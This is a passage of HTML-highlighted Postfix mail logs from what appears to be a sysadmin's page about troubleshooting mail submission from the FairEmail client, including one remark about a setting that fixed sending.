&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;32661&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;Anonymous&lt;/span&gt; &lt;span class="n"&gt;TLS&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;established&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;89.103&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;130&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;109.&lt;/span&gt;&lt;span class="n"&gt;adsl&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;belgacom&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;TLSv1&lt;/span&gt;&lt;span class="mf"&gt;.3&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="n"&gt;TLS_AES_256_GCM_SHA384&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;exchange&lt;/span&gt; &lt;span class="n"&gt;X25519&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="n"&gt;RSA&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;PSS&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2048&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;32661&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="n"&gt;B5252155A&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;89.103&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;130&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;109.&lt;/span&gt;&lt;span class="n"&gt;adsl&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;belgacom&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;sasl_method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;PLAIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sasl_username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;577&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="n"&gt;B5252155A&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;244735&lt;/span&gt;&lt;span class="n"&gt;bc&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;b3cb&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;067&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="n"&gt;c17&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;67e693&lt;/span&gt;&lt;span class="n"&gt;db4372&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;opendkim&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;627&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="n"&gt;B5252155A&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DKIM&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Signature&lt;/span&gt; &lt;span class="n"&gt;field&lt;/span&gt; &lt;span class="n"&gt;added&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;30080&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="n"&gt;B5252155A&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;50016&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nrcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt; &lt;span class="n"&gt;active&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;32661&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;disconnect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;89.103&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;130&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;109.&lt;/span&gt;&lt;span class="n"&gt;adsl&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;belgacom&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;ehlo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="n"&gt;starttls&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;rcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;quit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;579&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="n"&gt;B5252155A&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;sharifmehedi24&lt;/span&gt;&lt;span class="nd"&gt;@outlook&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;outlook&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;olc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;protection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;outlook&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;104.47.51.225&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.15&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.02&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.08&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2.7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.6.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;250&lt;/span&gt; &lt;span class="mf"&gt;2.6.0&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;244735&lt;/span&gt;&lt;span class="n"&gt;bc&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;b3cb&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;067&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="n"&gt;c17&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;67e693&lt;/span&gt;&lt;span class="n"&gt;db4372&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;InternalId&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;14177687056028&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Hostname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;SI2PR04MB5919&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;apcprd04&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;prod&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;outlook&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mi"&gt;59623&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="mf"&gt;0.545&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;106.767&lt;/span&gt; &lt;span class="n"&gt;KB&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sec&lt;/span&gt; &lt;span class="n"&gt;Queued&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;delivery&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;250&lt;/span&gt; &lt;span class="mf"&gt;2.1.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;30080&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="n"&gt;B5252155A&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After checking an advanced setting “Use local IP address instead of host name”
in FairEmail, I was able to send and the mail.log says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;24706&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;89.103&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;130&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;109.&lt;/span&gt;&lt;span class="n"&gt;adsl&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;belgacom&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;24706&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;Anonymous&lt;/span&gt; &lt;span class="n"&gt;TLS&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;established&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;89.103&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;130&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;109.&lt;/span&gt;&lt;span class="n"&gt;adsl&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;belgacom&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;TLSv1&lt;/span&gt;&lt;span class="mf"&gt;.3&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="n"&gt;TLS_AES_256_GCM_SHA384&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;exchange&lt;/span&gt; &lt;span class="n"&gt;X25519&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="n"&gt;RSA&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;PSS&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2048&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;digest&lt;/span&gt; &lt;span class="n"&gt;SHA256&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;24706&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;disconnect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;89.103&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;130&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;109.&lt;/span&gt;&lt;span class="n"&gt;adsl&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;belgacom&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;ehlo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="n"&gt;starttls&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span 